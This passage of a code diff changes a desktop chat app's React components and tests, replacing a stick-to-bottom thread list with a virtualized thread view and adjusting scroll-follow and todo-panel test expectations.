+      get: () => scrollHeight
+    })
+
+    await wait(80)
+
+    await act(async () => {
+      viewport.scrollTop = 800
+      fireEvent.scroll(viewport)
+    })
+
+    await wait(650)
+
+    // Completion re-measures (Shiki highlight) and grows the content. The
+    // post-run bottom lock is removed, so the viewport stays put instead of
+    // snapping to the new bottom.
+    scrollHeight = 1_700
+    await wait(0)
+
+    expect(viewport.scrollTop).toBe(800)
+  })
+
+  it('does not restart bottom-follow after completion when the user scrolled up', async () => {
+    const { container } = render(<StreamingHarness />)
+
+    const content = container.querySelector('[data-slot="aui_thread-content"]') as HTMLDivElement
+    const viewport = content.parentElement as HTMLDivElement
+    let scrollHeight = 1_000
+
+    Object.defineProperty(viewport, 'clientHeight', { configurable: true, value: 200 })
+    Object.defineProperty(viewport, 'scrollHeight', {
+      configurable: true,
+      get: () => scrollHeight
+    })
+
+    await wait(80)
+
+    await act(async () => {
+      viewport.scrollTop = 800
+      fireEvent.scroll(viewport)
+    })
+
+    await act(async () => {
+      fireEvent.wheel(viewport, { deltaY: -120 })
+      viewport.scrollTop = 420
+      fireEvent.scroll(viewport)
+    })
+
+    await wait(650)
+
+    scrollHeight = 1_700
+    await wait(0)
+
+    expect(viewport.scrollTop).toBe(420)
+  })
 
   it('renders an incomplete streaming fenced code block as a code card', async () => {
     const { container } = render(<RunningMessageHarness message={assistantMessage('```ts\nconst answer = 42\n')} />)
@@ -441,19 +670,14 @@ describe('assistant-ui streaming renderer', () => {
   it('renders an incomplete streaming reasoning fenced code block as a code card', async () => {
     const { container } = render(<RunningReasoningHarness />)
     const ui = within(container)
-    const thinkingToggle = ui.getByRole('button', { name: /thinking/i })
 
-    if (thinkingToggle.getAttribute('aria-expanded') !== 'true') {
-      fireEvent.click(thinkingToggle)
-    }
+    fireEvent.click(ui.getByRole('button', { name: /thinking/i }))
 
     await waitFor(() => {
       expect(container.querySelector('[data-slot="code-card"]')).toBeTruthy()
     })
 
-    await waitFor(() => {
-      expect(container.querySelector('[data-slot="aui_reasoning-text"]')?.textContent).toContain('const answer = 42')
-    })
+    expect(container.querySelector('[data-slot="aui_reasoning-text"]')?.textContent).toContain('const answer = 42')
     expect(container.textContent).not.toContain('```ts')
   })
 
@@ -494,7 +718,7 @@ describe('assistant-ui streaming renderer', () => {
     expect(container.textContent).toContain('Interim answer.')
   })
 
-  it('does not render an inline todo panel — todos live in the composer status stack', () => {
+  it('renders live todo rows during a running turn', () => {
     const { container } = render(
       <TodoHarness
         message={assistantTodoMessage([
@@ -504,18 +728,52 @@ describe('assistant-ui streaming renderer', () => {
       />
     )
 
-    expect(container.querySelector('[data-slot="aui_todo-hoisted"]')).toBeNull()
+    const ui = within(container)
+
+    expect(container.querySelector('[data-slot="aui_todo-hoisted"]')).toBeTruthy()
+    expect(ui.getAllByText('Boil water').length).toBeGreaterThan(0)
+    expect(ui.getByText('Gather ingredients')).toBeTruthy()
+    expect(ui.queryByText(/pending/i)).toBeNull()
+    expect(ui.queryByRole('button', { name: /todo/i })).toBeNull()
   })
 
-  it('renders completed image generation results in the tool slot', async () => {
-    const { container } = render(<MessageHarness message={assistantImageMessage()} />)
+  it('renders archived todos after turn completion regardless of pending state', () => {
+    const first = render(
+      <TodoHarness message={assistantTodoMessage([{ content: 'Boil water', id: 'boil', status: 'pending' }], false)} />
+    )
 
-    await waitFor(() => {
-      expect(screen.getByRole('img', { name: 'Generated image' }).getAttribute('src')).toBe(
-        'https://cdn.example/cat.png'
-      )
-    })
-    expect(container.querySelector('[data-slot="aui_generated-image"]')).toBeTruthy()
-    expect(screen.queryByRole('status', { name: /rendering image/i })).toBeNull()
+    const ui = within(first.container)
+
+    expect(ui.getAllByText('Boil water').length).toBeGreaterThan(0)
+
+    first.unmount()
+
+    const second = render(
+      <TodoHarness
+        message={assistantTodoMessage([{ content: 'Serve latte', id: 'serve', status: 'completed' }], false)}
+      />
+    )
+
+    const archivedUi = within(second.container)
+
+    expect(archivedUi.getAllByText('Serve latte').length).toBeGreaterThan(0)
+  })
+
+  it('hoists todo outside the thinking disclosure when reasoning is present', () => {
+    const { container } = render(
+      <TodoHarness
+        message={assistantReasoningTodoMessage([
+          { content: 'Buy oats', id: 'oats', status: 'completed' },
+          { content: "Reply to Sam's email", id: 'email', status: 'in_progress' }
+        ])}
+      />
+    )
+
+    const todoPanel = container.querySelector('[data-slot="aui_todo-hoisted"]')
+    const thinkingDisclosure = container.querySelector('[data-slot="aui_thinking-disclosure"]')
+
+    expect(todoPanel).toBeTruthy()
+    expect(thinkingDisclosure).toBeTruthy()
+    expect(Boolean(thinkingDisclosure?.contains(todoPanel as Node))).toBe(false)
   })
 })

apps/desktop/src/components/assistant-ui/thread-list.tsx

@@ -1,307 +0,0 @@
-import { ThreadPrimitive, useAuiEvent, useAuiState } from '@assistant-ui/react'
-import {
-  type ComponentProps,
-  type FC,
-  memo,
-  type ReactNode,
-  useCallback,
-  useEffect,
-  useLayoutEffect,
-  useRef,
-  useState
-} from 'react'
-import { useStickToBottom } from 'use-stick-to-bottom'
-
-import { useI18n } from '@/i18n'
-import { cn } from '@/lib/utils'
-import {
-  onScrollToBottomRequest,
-  onThreadEditClose,
-  onThreadEditOpen,
-  resetThreadScroll,
-  setThreadAtBottom
-} from '@/store/thread-scroll'
-
-import { MessageRenderBoundary } from './message-render-boundary'
-
-type ThreadMessageComponents = ComponentProps<typeof ThreadPrimitive.MessageByIndex>['components']
-
-type MessageGroup = { id: string; weight: number } & (
-  | { index: number; kind: 'standalone' }
-  | { indices: number[]; kind: 'turn' }
-)
-
-// DOM is bounded by a rendered-PART budget, not a message/turn count: a single
-// assistant message folds every tool call into a part, so heavy sessions are
-// ~40 turns / ~100 messages but ~1000 parts — and parts are what drive node
-// count. "Show earlier" prepends another page; whole turns stay intact so the
-// sticky human bubble never loses its turn. This is the long-session perf lever
-// WITHOUT a virtualizer — pure rendering, never touches scrollTop, so it can't
-// fight use-stick-to-bottom (the single scroll owner).
-const RENDER_BUDGET = 300
-
-interface ThreadMessageListProps {
-  clampToComposer: boolean
-  components: ThreadMessageComponents
-  emptyPlaceholder?: ReactNode
-  loadingIndicator?: ReactNode
-  sessionKey?: string | null
-}
-
-// Group each user message with the assistant turn(s) that follow it so the
-// human bubble can `position: sticky` against the scroller across its whole
-// turn (see StickyHumanMessageContainer in thread.tsx).
-function buildGroups(signature: string): MessageGroup[] {
-  if (!signature) {
-    return []
-  }
-
-  const messages = signature.split('\n').map(row => {
-    const [index, id, role, weight] = row.split(':')
-
-    return { id, index: Number(index), role, weight: Number(weight) || 1 }
-  })
-
-  const groups: MessageGroup[] = []
-
-  for (let i = 0; i < messages.length; i++) {
-    const message = messages[i]
-
-    if (message.role !== 'user') {
-      groups.push({ id: message.id, index: message.index, kind: 'standalone', weight: message.weight })
-
-      continue
-    }
-
-    const indices = [message.index]
-    let weight = message.weight
-
-    while (i + 1 < messages.length && messages[i + 1].role !== 'user') {
-      weight += messages[++i].weight
-      indices.push(messages[i].index)
-    }
-
-    groups.push({ id: message.id, indices, kind: 'turn', weight })
-  }
-
-  return groups
-}
-
-const ThreadMessageListInner: FC<ThreadMessageListProps> = ({
-  clampToComposer,
-  components,
-  emptyPlaceholder,
-  loadingIndicator,
-  sessionKey
-}) => {
-  const messageSignature = useAuiState(s =>
-    s.thread.messages
-      .map((message, index) => `${index}:${message.id}:${message.role}:${message.content?.length ?? 1}`)
-      .join('\n')
-  )
-
-  const { t } = useI18n()
-  const groups = buildGroups(messageSignature)
-  const renderEmpty = groups.length === 0 && Boolean(emptyPlaceholder)
-
-  // use-stick-to-bottom owns scrollTop (single writer): follow while locked,
-  // escape on user scroll-up, re-lock at bottom. Snap instantly, not spring — a
-  // spring can't tell live-token growth from a session-switch bulk relayout, and
-  // chasing the latter reads as the view scrolling to random spots before
-  // settling. Its refs hang off our own DOM so the sticky human bubbles survive.
-  const { scrollRef, contentRef, isAtBottom, scrollToBottom, stopScroll } = useStickToBottom({
-    initial: 'instant',
-    resize: 'instant'
-  })
-
-  const [renderBudget, setRenderBudget] = useState(RENDER_BUDGET)
-
-  // Walk turns newest-first, summing their part weights until the budget is met;
-  // everything before that first kept turn is hidden.
-  let firstVisible = groups.length
-
-  for (let i = groups.length - 1, weight = 0; i >= 0; i--) {
-    weight += groups[i].weight
-    firstVisible = i
-
-    if (weight >= renderBudget) {
-      break
-    }
-  }
-
-  const hiddenCount = firstVisible
-  const visibleGroups = hiddenCount > 0 ? groups.slice(hiddenCount) : groups
-  const restoreFromBottomRef = useRef<number | null>(null)
-
-  useEffect(() => setThreadAtBottom(isAtBottom), [isAtBottom])
-  useEffect(() => () => resetThreadScroll(), [])
-
-  // Floating jump button (outside this subtree) → return to the bottom.
-  useEffect(() => onScrollToBottomRequest(() => void scrollToBottom()), [scrollToBottom])
-
-  const endEditHold = useCallback(() => {
-    scrollRef.current?.removeAttribute('data-editing')
-  }, [scrollRef])
-
-  // Inline edit grows a sticky bubble. Escape before focus/layout so the
-  // resize-follow can't snap scrollTop; native anchoring holds the viewport.
-  const beginEditHold = useCallback(() => {
-    const el = scrollRef.current
-
-    if (!el) {
-      return
-    }
-
-    endEditHold()
-    stopScroll()
-    el.setAttribute('data-editing', 'true')
-  }, [endEditHold, scrollRef, stopScroll])
-
-  useEffect(() => onThreadEditOpen(beginEditHold), [beginEditHold])
-  useEffect(() => onThreadEditClose(endEditHold), [endEditHold])
-  useEffect(() => () => endEditHold(), [endEditHold])
-  // New run → snap to the latest turn.
-  useAuiEvent('thread.runStart', () => void scrollToBottom())
-
-  // Reset the cap and pin to bottom on mount + every session switch (messages
-  // swap in place on a long-lived runtime, so sessionKey is the only signal).
-  // The swap is multi-step and lays out over many frames; letting the library
-  // follow re-pins every frame to a moving target — visible as ~10 scroll jumps.
-  // Instead: quiet it, glue to the true bottom until the height holds steady,
-  // then hand back locked. Live streaming afterward uses the normal resize follow.
-  useLayoutEffect(() => {
-    setRenderBudget(RENDER_BUDGET)
-
-    const el = scrollRef.current
-
-    if (!el) {
-      return
-    }
-
-    stopScroll()
-    el.scrollTop = el.scrollHeight
-
-    let frame = 0
-    let stableFrames = 0
-    let lastHeight = el.scrollHeight
-
-    const settle = () => {
-      const node = scrollRef.current
-
-      if (!node) {
-        return
-      }
-
-      const height = node.scrollHeight
-
-      stableFrames = height === lastHeight ? stableFrames + 1 : 0
-      lastHeight = height
-      node.scrollTop = height
-
-      // ~5 steady frames ≈ layout has settled; the frame cap bounds slow loads.
-      if (stableFrames >= 5 || ++frame > 90) {
-        void scrollToBottom('instant')
-
-        return
-      }
-
-      rafId = requestAnimationFrame(settle)
-    }
-
-    let rafId = requestAnimationFrame(settle)
-
-    return () => cancelAnimationFrame(rafId)
-  }, [scrollRef, scrollToBottom, sessionKey, stopScroll])
-
-  // Prepend an older page while preserving the on-screen position. The user is
-  // scrolled up (reading history) so the stick-to-bottom lock is escaped and
-  // won't fight this manual restore.
-  const showEarlier = useCallback(() => {
-    const el = scrollRef.current
-
-    restoreFromBottomRef.current = el ? el.scrollHeight - el.scrollTop : null
-    setRenderBudget(budget => budget + RENDER_BUDGET)
-  }, [scrollRef])
-
-  useLayoutEffect(() => {
-    const el = scrollRef.current
-
-    if (el && restoreFromBottomRef.current != null) {
-      el.scrollTop = el.scrollHeight - restoreFromBottomRef.current
-      restoreFromBottomRef.current = null
-    }
-  }, [scrollRef, renderBudget])
-
-  return (
-    <div
-      className="relative min-h-0 max-w-full overflow-hidden contain-[layout_paint]"
-      style={{ height: clampToComposer ? 'var(--thread-viewport-height)' : '100%' }}
-    >
-      <div
-        className="size-full overflow-x-hidden overflow-y-auto overscroll-contain"
-        data-following={isAtBottom ? 'true' : 'false'}
-        data-slot="aui_thread-viewport"
-        ref={scrollRef as React.RefCallback<HTMLDivElement>}
-      >
-        {renderEmpty ? (
-          <div
-            className="mx-auto grid h-full w-full max-w-(--composer-width) grid-rows-[minmax(0,1fr)_auto] min-w-0 gap-(--conversation-turn-gap) px-6 py-8"
-            data-slot="aui_thread-content"
-          >
-            {emptyPlaceholder}
-          </div>
-        ) : (
-          <div
-            className={cn(
-              'mx-auto flex w-full max-w-(--composer-width) min-w-0 flex-col px-6 pt-[calc(var(--titlebar-height)+1.5rem)]'
-            )}
-            data-slot="aui_thread-content"
-            ref={contentRef as React.RefCallback<HTMLDivElement>}
-          >
-            {hiddenCount > 0 && (
-              <button
-                className="mx-auto mb-(--conversation-turn-gap) rounded-full border border-border/65 bg-(--composer-fill) px-3 py-1 text-xs text-muted-foreground hover:text-foreground"
-                onClick={showEarlier}
-                type="button"
-              >
-                {t.assistant.thread.showEarlier}
-              </button>
-            )}
-            {visibleGroups.map(group => (
-              <div
-                className="flex min-w-0 flex-col gap-(--conversation-turn-gap) pb-(--conversation-turn-gap)"
-                key={group.id}
-              >
-                <MessageRenderBoundary resetKey={messageSignature}>
-                  {group.kind === 'turn' ? (
-                    <div
-                      className="composer-human-ai-pair-container relative flex min-w-0 flex-col gap-(--conversation-turn-gap)"
-                      data-slot="aui_turn-pair"
-                    >
-                      {group.indices.map(index => (
-                        <ThreadPrimitive.MessageByIndex components={components} index={index} key={index} />
-                      ))}
-                    </div>
-                  ) : (
-                    <ThreadPrimitive.MessageByIndex components={components} index={group.index} />
-                  )}
-                </MessageRenderBoundary>
-              </div>
-            ))}
-            {loadingIndicator}
-            {clampToComposer && (
-              <div
-                aria-hidden="true"
-                className="shrink-0"
-                data-slot="aui_composer-clearance"
-                style={{ height: 'var(--thread-last-message-clearance)' }}
-              />
-            )}
-          </div>
-        )}
-      </div>
-    </div>
-  )
-}
-
-export const ThreadMessageList = memo(ThreadMessageListInner)

apps/desktop/src/components/assistant-ui/thread-virtualizer.tsx

@@ -0,0 +1,465 @@
+import { ThreadPrimitive, useAuiEvent, useAuiState } from '@assistant-ui/react'
+import { useVirtualizer, type Virtualizer } from '@tanstack/react-virtual'
+import {
+  type ComponentProps,
+  type FC,
+  memo,
+  type ReactNode,
+  useCallback,
+  useEffect,
+  useLayoutEffect,
+  useMemo,
+  useRef
+} from 'react'
+
+import { setMutableRef } from '@/lib/mutable-ref'
+import { cn } from '@/lib/utils'
+import { setThreadScrolledUp } from '@/store/thread-scroll'
+
+const ESTIMATED_ITEM_HEIGHT = 220
+const OVERSCAN = 4
+const AT_BOTTOM_THRESHOLD = 4
+
+type ThreadMessageComponents = ComponentProps<typeof ThreadPrimitive.MessageByIndex>['components']
+
+type MessageGroup = { id: string; index: number; kind: 'standalone' } | { id: string; indices: number[]; kind: 'turn' }
+
+interface VirtualizedThreadProps {
+  clampToComposer: boolean
+  components: ThreadMessageComponents
+  emptyPlaceholder?: ReactNode
+  loadingIndicator?: ReactNode
+  sessionKey?: string | null
+}
+
+function buildGroups(signature: string): MessageGroup[] {
+  if (!signature) {
+    return []
+  }
+
+  const messages = signature.split('\n').map(row => {
+    const [index, id, role] = row.split(':')
+
+    return { id, index: Number(index), role }
+  })
+
+  const groups: MessageGroup[] = []
+
+  for (let i = 0; i < messages.length; i++) {
+    const message = messages[i]
+
+    if (message.role !== 'user') {
+      groups.push({ id: message.id, index: message.index, kind: 'standalone' })
+
+      continue
+    }
+
+    const indices = [message.index]
+
+    while (i + 1 < messages.length && messages[i + 1].role !== 'user') {
+      indices.push(messages[++i].index)
+    }
+
+    groups.push({ id: message.id, indices, kind: 'turn' })
+  }
+
+  return groups
+}
+
+const VirtualizedThreadInner: FC<VirtualizedThreadProps> = ({
+  clampToComposer,
+  components,
+  emptyPlaceholder,
+  loadingIndicator,
+  sessionKey
+}) => {
+  const messageSignature = useAuiState(s =>
+    s.thread.messages.map((message, index) => `${index}:${message.id}:${message.role}`).join('\n')
+  )
+
+  const isRunning = useAuiState(s => s.thread.isRunning)
+
+  const groups = useMemo(() => buildGroups(messageSignature), [messageSignature])
+  const renderEmpty = groups.length === 0 && Boolean(emptyPlaceholder)
+  const scrollerRef = useRef<HTMLDivElement | null>(null)
+
+  // Shared ref so scrollToFn can check whether the user is parked at the
+  // bottom without needing a ref from inside useThreadScrollAnchor.
+  const stickyBottomRef = useRef(true)
+
+  const virtualizer = useVirtualizer({
+    count: groups.length,
+    estimateSize: () => ESTIMATED_ITEM_HEIGHT,
+    getItemKey: index => groups[index]?.id ?? index,
+    getScrollElement: () => scrollerRef.current,
+    // Seed the rect so the initial range mounts something before
+    // `observeElementRect` reports the real layout (it overrides this).
+    initialRect: { height: 600, width: 800 },
+    overscan: OVERSCAN,
+    // When the virtualizer adjusts scroll due to item measurement changes,
+    // skip the adjustment if the user is at the bottom. Our ResizeObserver +
+    // pinToBottom loop handles scroll anchoring; letting the virtualizer also
+    // adjust creates a feedback loop where the two fight each other,
+    // producing visible rubber-banding (the view snaps to the composer
+    // then jumps back up).
+    scrollToFn: (offset, _options, instance) => {
+      const el = instance.scrollElement
+
+      if (!el) {
+        return
+      }
+
+      if (stickyBottomRef.current) {
+        const maxScroll = el.scrollHeight - el.clientHeight
+        const distFromBottom = maxScroll - el.scrollTop
+
+        if (distFromBottom <= AT_BOTTOM_THRESHOLD && offset < maxScroll) {
+          return
+        }
+      }
+
+      ;(el as HTMLElement).scrollTo(0, offset)
+    }
+  })
+
+  useThreadScrollAnchor({
+    enabled: !renderEmpty,
+    groupCount: groups.length,
+    isRunning,
+    scrollerRef,
+    sessionKey: sessionKey ?? null,
+    stickyBottomRef,
+    virtualizer
+  })
+
+  const virtualItems = virtualizer.getVirtualItems()
+  const totalSize = virtualizer.getTotalSize()
+  const paddingTop = virtualItems[0]?.start ?? 0
+  const paddingBottom = Math.max(0, totalSize - (virtualItems.at(-1)?.end ?? 0))
+
+  return (
+    <div
+      className="relative min-h-0 max-w-full overflow-hidden contain-[layout_paint]"
+      style={{ height: clampToComposer ? 'var(--thread-viewport-height)' : '100%' }}
+    >
+      <div
+        className="size-full overflow-x-hidden overflow-y-auto overscroll-contain"
+        data-slot="aui_thread-viewport"
+        ref={scrollerRef}
+      >
+        {renderEmpty ? (
+          <div
+            className="mx-auto grid h-full w-full max-w-(--composer-width) grid-rows-[minmax(0,1fr)_auto] min-w-0 gap-(--conversation-turn-gap) px-6 py-8"
+            data-slot="aui_thread-content"
+          >
+            {emptyPlaceholder}
+          </div>
+        ) : (
+          <div
+            className={cn(
+              'mx-auto flex w-full max-w-(--composer-width) min-w-0 flex-col px-6 pt-[calc(var(--titlebar-height)+1.5rem)]'
+            )}
+            data-slot="aui_thread-content"
+          >
+            {/* Natural-flow virtualization: mounted items render as normal
+                flex siblings so `position: sticky` on the human bubble
+                resolves against the scroller without transform interference.
+                Padding spacers reserve scroll space for unmounted items. */}
+            <div style={{ paddingBottom: `${paddingBottom}px`, paddingTop: `${paddingTop}px` }}>
+              {virtualItems.map(virtualItem => {
+                const group = groups[virtualItem.index]
+
+                if (!group) {
+                  return null
+                }
+
+                return (
+                  <div
+                    className="flex min-w-0 flex-col gap-(--conversation-turn-gap) pb-(--conversation-turn-gap)"
+                    data-index={virtualItem.index}
+                    key={virtualItem.key}
+                    ref={virtualizer.measureElement}
+                  >
+                    {group.kind === 'turn' ? (
+                      <div
+                        className="composer-human-ai-pair-container relative flex min-w-0 flex-col gap-(--conversation-turn-gap)"
+                        data-slot="aui_turn-pair"
+                      >
+                        {group.indices.map(index => (
+                          <ThreadPrimitive.MessageByIndex components={components} index={index} key={index} />
+                        ))}
+                      </div>
+                    ) : (
+                      <ThreadPrimitive.MessageByIndex components={components} index={group.index} />
+                    )}
+                  </div>
+                )
+              })}
+            </div>
+            {loadingIndicator}
+            {clampToComposer && (
+              <div
+                aria-hidden="true"
+                className="shrink-0"
+                data-slot="aui_composer-clearance"
+                style={{ height: 'var(--thread-last-message-clearance)' }}
+              />
+            )}
+          </div>
+        )}
+      </div>
+    </div>
+  )
+}
+
+export const VirtualizedThread = memo(VirtualizedThreadInner)
+
+function scrollElementToBottom(el: HTMLDivElement) {
+  el.scrollTop = el.scrollHeight
+}
+
+interface ScrollAnchorOptions {
+  enabled: boolean
+  groupCount: number
+  isRunning: boolean
+  scrollerRef: React.RefObject<HTMLDivElement | null>
+  sessionKey: string | null
+  stickyBottomRef: React.MutableRefObject<boolean>
+  virtualizer: Virtualizer<HTMLDivElement, Element>
+}
+
+function useThreadScrollAnchor({
+  enabled,
+  groupCount,
+  isRunning,
+  scrollerRef,
+  sessionKey,
+  stickyBottomRef,
+  virtualizer
+}: ScrollAnchorOptions) {
+  // `stickyBottomRef` = parked at bottom, content growth should follow. Cleared on
+  // user-driven upward scroll; re-armed when they reach bottom again.
+  // This is a shared ref — scrollToFn reads it to prevent the virtualizer's
+  // measurement adjustments from fighting our pinToBottom.
+  const lastTopRef = useRef(0)
+  const lastHeightRef = useRef(0)
+  const lastClientHeightRef = useRef(0)
+  // Counter that tracks how many scroll events we expect to be ours rather
+  // than the user's. `pinToBottom` writes `el.scrollTop`, which fires an
+  // async `scroll` event; without this guard the on-scroll handler can race
+  // with the programmatic write (because content also grew, the *resulting*
+  // scrollTop can be lower than `lastTopRef` from the previous frame) and
+  // misread the programmatic pin as the user scrolling up — which disarms
+  // sticky-bottom and the user's just-submitted message slides above the
+  // fold. See `apps/desktop/scripts/measure-jump.mjs` for the repro
+  // (distFromBottom 0 → 49 within one frame, sticking forever).
+  const programmaticScrollPendingRef = useRef(0)
+  const prevSessionKeyRef = useRef(sessionKey)
+  const prevGroupCountRef = useRef(0)
+
+  const pinToBottom = useCallback(() => {
+    const el = scrollerRef.current
+
+    if (!el) {
+      return
+    }
+
+    // Already parked at the bottom: writing `scrollTop` is a no-op and the
+    // browser fires NO scroll event, so arming the programmatic gate here would
+    // leave it permanently set. Repeated pins (streaming heartbeats, the
+    // post-run lock loop) then accumulate the gate, and the next genuine user
+    // scroll-up is misread as one of our programmatic scrolls — re-arming
+    // sticky-bottom and yanking the viewport back down. Refresh trackers, bail.
+    const distFromBottom = el.scrollHeight - (el.scrollTop + el.clientHeight)
+
+    if (distFromBottom <= AT_BOTTOM_THRESHOLD) {
+      lastTopRef.current = el.scrollTop
+      lastHeightRef.current = el.scrollHeight
+      lastClientHeightRef.current = el.clientHeight
+
+      return
+    }
+
+    // Hold the disarm gate across the scroll event the next line will fire.
+    // Set to 1 rather than incrementing: coalesced writes within a frame fire a
+    // single scroll event, so a counter > 1 can never drain and would swallow a
+    // later real user scroll.
+    programmaticScrollPendingRef.current = 1
+    scrollElementToBottom(el)
+    lastTopRef.current = el.scrollTop
+    lastHeightRef.current = el.scrollHeight
+    lastClientHeightRef.current = el.clientHeight
+  }, [scrollerRef])
+
+  const jumpToBottom = useCallback(() => {
+    setMutableRef(stickyBottomRef, true)
+
+    if (groupCount > 0) {
+      virtualizer.scrollToIndex(groupCount - 1, { align: 'end', behavior: 'auto' })
+    }
+
+    requestAnimationFrame(() => {
+      if (stickyBottomRef.current) {
+        pinToBottom()
+      }
+    })
+  }, [groupCount, pinToBottom, stickyBottomRef, virtualizer])
+
+  useEffect(() => () => setThreadScrolledUp(false), [])
+
+  // Track at-bottom state, dim composer when scrolled up, disarm on user
+  // scroll/wheel/touch.
+  useEffect(() => {
+    const el = scrollerRef.current
+
+    if (!el) {
+      return undefined
+    }
+
+    const disarm = () => {
+      setMutableRef(stickyBottomRef, false)
+      programmaticScrollPendingRef.current = 0
+    }
+
+    const onScroll = () => {
+      const top = el.scrollTop
+
+      // If this scroll event is the consequence of `pinToBottom` writing
+      // `el.scrollTop`, treat it as ours: don't disarm. The RO + rAF pin
+      // loop will re-pin on the next frame if the browser clamped us
+      // short of bottom (because content grew in the same frame).
+      // Without this guard the post-pin scrollTop gets misread as the
+      // user scrolling up, disarming sticky-bottom permanently and
+      // leaving the just-submitted message below the fold.
+      if (programmaticScrollPendingRef.current > 0) {
+        programmaticScrollPendingRef.current -= 1
+        lastTopRef.current = top
+        lastHeightRef.current = el.scrollHeight
+        lastClientHeightRef.current = el.clientHeight
+        // Always re-arm — sticky-bottom should hold through clamp races.
+        setMutableRef(stickyBottomRef, true)
+        const atBottom = el.scrollHeight - (top + el.clientHeight) <= AT_BOTTOM_THRESHOLD
+        setThreadScrolledUp(!atBottom)
+
+        return
+      }
+
+      // Disarm only when `scrollTop` decreases while both content height and
+      // viewport height are stable. A bare `top < lastTopRef.current` check is
+      // unsafe: virtualizer measurement, streaming markdown, composer resizing,
+      // window resizing, and toolbar/status updates can all move scrollTop as a
+      // layout side effect. Wheel-up and touchmove still disarm immediately via
+      // their own listeners below, so real user intent remains covered.
+      const heightGrew = el.scrollHeight > lastHeightRef.current
+      const clientHeightChanged = Math.abs(el.clientHeight - lastClientHeightRef.current) > 1
+
+      if (!heightGrew && !clientHeightChanged && top + 1 < lastTopRef.current) {
+        setMutableRef(stickyBottomRef, false)
+      }
+
+      lastTopRef.current = top
+      lastHeightRef.current = el.scrollHeight
+      lastClientHeightRef.current = el.clientHeight
+
+      const atBottom = el.scrollHeight - (top + el.clientHeight) <= AT_BOTTOM_THRESHOLD
+
+      if (atBottom) {
+        setMutableRef(stickyBottomRef, true)
+      }
+
+      setThreadScrolledUp(!atBottom)
+    }
+
+    const onWheel = (event: WheelEvent) => {
+      if (event.deltaY < 0) {
+        disarm()
+      }
+    }
+
+    el.addEventListener('scroll', onScroll, { passive: true })
+    el.addEventListener('wheel', onWheel, { passive: true })
+    el.addEventListener('touchmove', disarm, { passive: true })
+
+    return () => {
+      el.removeEventListener('scroll', onScroll)
+      el.removeEventListener('wheel', onWheel)
+      el.removeEventListener('touchmove', disarm)
+    }
+  }, [scrollerRef, stickyBottomRef])
+
+  // Intentionally NO streaming auto-follow. Earlier builds ran a
+  // ResizeObserver here that re-pinned the viewport to the bottom on every
+  // content growth while a turn was running, so the chat tracked tokens as
+  // they streamed. That behavior is removed by request: once a turn is in
+  // flight the viewport stays exactly where the user left it. The viewport
+  // is still moved to the bottom ONCE per user submit / new turn / session
+  // change (see the layout effect and the session-change effect below) so a
+  // freshly submitted message lands in view — but it does not chase the
+  // stream afterward.
+
+  // Jump to bottom on session change OR when an empty thread first gets
+  // content. Both share the same intent and the same effect.
+  useEffect(() => {
+    const sessionChanged = prevSessionKeyRef.current !== sessionKey
+    const becameNonEmpty = prevGroupCountRef.current === 0 && groupCount > 0
+
+    prevSessionKeyRef.current = sessionKey
+    prevGroupCountRef.current = groupCount
+
+    if (enabled && (sessionChanged || becameNonEmpty)) {
+      jumpToBottom()
+    }
+  }, [enabled, groupCount, jumpToBottom, sessionKey])
+
+  // Pre-paint pin: when groupCount increases while armed (a new turn arriving
+  // from the user submit or assistant turn start), pin BEFORE the browser
+  // commits the layout to screen. Using useLayoutEffect rather than useEffect
+  // so this runs synchronously after React commits the DOM mutation but before
+  // the browser paints. Without this, there's a ~50ms visual window where the
+  // new message sits below the fold.
+  //
+  // We pin TWICE in this critical path — once synchronously, then once on
+  // the next rAF. The second pin catches the case where React mounts the
+  // new message in the second commit (after our layout effect ran), which
+  // grows scrollHeight again; without the rAF pin the user briefly sees a
+  // ~15 px gap below the new message. This fires once per user submit / new
+  // turn arrival — it is NOT streaming-token follow (that path is removed
+  // above), so a turn that streams a long response after this initial jump
+  // will not chase the bottom.
+  const prevGroupCountForLayoutRef = useRef(groupCount)
+  useLayoutEffect(() => {
+    if (!enabled) {
+      return
+    }
+
+    if (groupCount > prevGroupCountForLayoutRef.current && stickyBottomRef.current) {
+      // Defer to rAF so that browser scroll/wheel events from the current
+      // frame are processed first.  Without this deferral, a trackpad
+      // scroll-up during streaming can race with this effect: the wheel
+      // event hasn't fired yet so stickyBottomRef is still true, and the
+      // immediate pinToBottom() would snap the viewport back to bottom
+      // against the user's intent.
+      requestAnimationFrame(() => {
+        if (stickyBottomRef.current) {
+          pinToBottom()
+        }
+      })
+    }
+
+    prevGroupCountForLayoutRef.current = groupCount
+  }, [enabled, groupCount, pinToBottom, stickyBottomRef])
+
+  // Intentionally NO post-run bottom lock. Earlier builds kept pinning to
+  // the bottom for POST_RUN_BOTTOM_LOCK_MS after `isRunning` flipped false to
+  // chase final Shiki re-highlight measurement. With streaming follow gone,
+  // re-pinning at completion would yank the viewport back to the bottom even
+  // though the user is reading earlier content — the opposite of what's
+  // wanted. The one-time submit / new-turn jump already covers landing a
+  // fresh message in view.
+  const prevIsRunningForLayoutRef = useRef(isRunning)
+  useLayoutEffect(() => {
+    prevIsRunningForLayoutRef.current = isRunning
+  }, [isRunning])
+
+  useAuiEvent('thread.runStart', jumpToBottom)
+}

apps/desktop/src/components/assistant-ui/thread.tsx

@@ -7,8 +7,7 @@ import {
   MessagePrimitive,
   type ToolCallMessagePartProps,
   useAui,
-  useAuiState,
-  useMessageRuntime
+  useAuiState
 } from '@assistant-ui/react'
 import { useStore } from '@nanostores/react'
 import { IconPlayerStopFilled } from '@tabler/icons-react'
@@ -53,28 +52,24 @@ import {
 } from '@/app/chat/composer/rich-editor'
 import { detectTrigger, textBeforeCaret, type TriggerState } from '@/app/chat/composer/text-utils'
 import { ComposerTriggerPopover } from '@/app/chat/composer/trigger-popover'
-import {
-  extractDroppedFiles,
-  HERMES_PATHS_MIME,
-  isImagePath,
-  partitionDroppedFiles
-} from '@/app/chat/hooks/use-composer-actions'
+import { extractDroppedFiles, HERMES_PATHS_MIME, isImagePath, partitionDroppedFiles } from '@/app/chat/hooks/use-composer-actions'
 import { uploadComposerAttachment } from '@/app/session/hooks/use-prompt-actions'
 import { ClarifyTool } from '@/components/assistant-ui/clarify-tool'
 import { DirectiveContent, hermesDirectiveFormatter } from '@/components/assistant-ui/directive-text'
 import { MarkdownText, MarkdownTextContent } from '@/components/assistant-ui/markdown-text'
-import { ThreadMessageList } from '@/components/assistant-ui/thread-list'
+import { VirtualizedThread } from '@/components/assistant-ui/thread-virtualizer'
